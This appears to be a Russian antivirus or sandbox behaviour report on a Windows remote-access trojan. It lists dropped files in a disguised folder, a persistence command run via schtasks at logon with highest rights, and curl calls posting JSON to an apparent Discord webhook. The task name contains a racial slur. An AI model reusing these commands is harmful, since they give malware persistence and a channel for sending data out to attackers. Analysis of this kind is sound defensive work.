Техническая информация
Для обеспечения автозапуска и распространения
Создает или изменяет следующие файлы
- <SYSTEM32>\tasks\sys32nigger
Изменения в файловой системе
Создает следующие файлы
- C:\users\default\appdata\local\microsoft\inputpersonalization\traineddatastore\blank.exe
- C:\users\default\appdata\local\microsoft\inputpersonalization\traineddatastore\libcrypto-1_1-x64.dll
- C:\users\default\appdata\local\microsoft\inputpersonalization\traineddatastore\libssl-1_1-x64.dll
- C:\users\default\appdata\local\microsoft\inputpersonalization\traineddatastore\zlib1.dll
- C:\users\default\appdata\local\microsoft\inputpersonalization\traineddatastore\dpp.dll
- C:\users\default\appdata\local\microsoft\inputpersonalization\traineddatastore\idk_your_lowkey_ratted_bro.dll
Сетевая активность
Подключается к
- 'di##ord.com':443
TCP
Другие
- 'di##ord.com':443
UDP
- DNS ASK di##ord.com
Другое
Создает и запускает на исполнение
- 'C:\users\default\appdata\local\microsoft\inputpersonalization\traineddatastore\blank.exe'
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c schtasks /create /tn "sys32nigger" /tr "C:\Users\Default\AppData\Local\Microsoft\InputPersonalization\TrainedDataStore\blank.exe" /sc onlogon /delay 0001:00 /rl highest /f
- '<SYSTEM32>\schtasks.exe' /create /tn "sys32nigger" /tr "C:\Users\Default\AppData\Local\Microsoft\InputPersonalization\TrainedDataStore\blank.exe" /sc onlogon /delay 0001:00 /rl highest /f
- '<SYSTEM32>\cmd.exe' /c cls
- '<SYSTEM32>\cmd.exe' /c curl -s -H "Content-Type: application/json" -d "{\"content\":\"DLL File does NOT exist: C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization\\TrainedDataStore\\opus.dll \"}" h...
- '<SYSTEM32>\curl.exe' -s -H "Content-Type: application/json" -d "{\"content\":\"DLL File does NOT exist: C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization\\TrainedDataStore\\opus.dll \"}" https://d...
- 'C:\users\default\appdata\local\microsoft\inputpersonalization\traineddatastore\blank.exe' (со скрытым окном)
